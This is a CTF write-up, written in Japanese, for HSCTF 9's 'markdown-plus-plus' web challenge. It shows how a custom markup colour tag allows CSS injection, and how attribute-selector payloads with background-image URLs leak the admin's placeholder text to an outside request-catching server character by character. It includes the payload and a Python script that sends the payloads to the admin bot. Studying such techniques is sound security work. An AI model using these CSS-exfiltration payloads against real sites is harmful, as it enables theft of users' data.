Rating:

# markdown-plus-plus:web:480pts
Pfft, who needs Markdown? Just roll your own markup language - definitely no bugs in sight.
[http://web1.hsctf.com:8002](http://web1.hsctf.com:8002/)
Downloads
[md++.zip](md++.zip)

# Solution
URLとソースが渡される。
アクセスすると、markdownのオリジナルバージョンが動いていた。
入力したものを加工して表示してくれるようだ。
Create Page
[site1.png](site/site1.png)
使い方は`/help`に書かれている。
View Page
[site2.png](site/site2.png)
さらに`/markdown-plus-plus`で報告して、adminに見てもらうこともできる。
[site3.png](site/site3.png)
謎の機能として、ユーザ名を変更できる。
![image1.png](images/image1.png)
これはcookieに保存されるので非常に怪しいが、HttpOnlyであるためXSSで盗めそうにない。
ページのソースをよく見ると以下のようにプレースホルダーとしてレンダリングされている。
```html
~~~
<form id="login-form" action="/login" method="POST">
<input name="username" placeholder="Satoki">
<input type="submit" value="Login">
</form>
~~~
```
adminのplaceholderにflagが書かれていると予測する。
次に、markdownのオリジナルバージョンを動かしてみる。
`[h=red akairo]`と入力すると、以下のようにtextに色がついた。
![image2.png](images/image2.png)
CSSに色を書き込んでいそうなので、CSSiを狙う。
ブラウザの開発者ツールで要素のCSSを確認しながら試行錯誤すると、`[h=red;}*{color:blue} akaiyo]`で以下のような表示になった。
![image3.png](images/image3.png)
インジェクションできることがわかったので、セレクタで要素をリークすればよい。
リクエスト受け取り用のサーバは[RequestBin.com](https://requestbin.com/)を利用した。
`placeholder`の`Satoki`をリークするペイロードは以下になる。
```
[h=red;}input[placeholder^='Satoki']{background-image:url(https://xxxxxxxxxxxxx.x.pipedream.net?s=Satoki);} Satoki]
```
これを先頭から一文字ずつリークするように加工し、adminに送ればよい。
文字がヒットした場合リクエストが返ってくるはずである。
以下のcssi.pyで行う。
```python
import base64
import requests

flag = ""
my_server = "https://xxxxxxxxxxxxx.x.pipedream.net"

for c in "_{}abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789":
css_i = f"[h=red;}}input[placeholder^='{flag + c}']{{background-image:url({my_server}?s={flag + c});}} {flag + c}]"
res = requests.post("http://web1.hsctf.com:8000/markdown-plus-plus", data={"url": f"http://web1.hsctf.com:8002/display#{base64.b64encode(css_i.encode()).decode()}"})
#print(res.status_code)
#print(res.text)
```
リクエストを受け取るごとに変数`flag`に文字を追加していく。
複数回実行すると、以下のように一文字ずつリクエストが取得できる(下から上の順)。
![image4.png](images/image4.png)
最終的に`/?s=flag{waterfall_bfutsftfejpk}`のリクエストを得た。
これがflagとなった。

## flag{waterfall_bfutsftfejpk}

Original writeup (https://github.com/satoki/ctf_writeups/tree/master/HSCTF_9/markdown-plus-plus).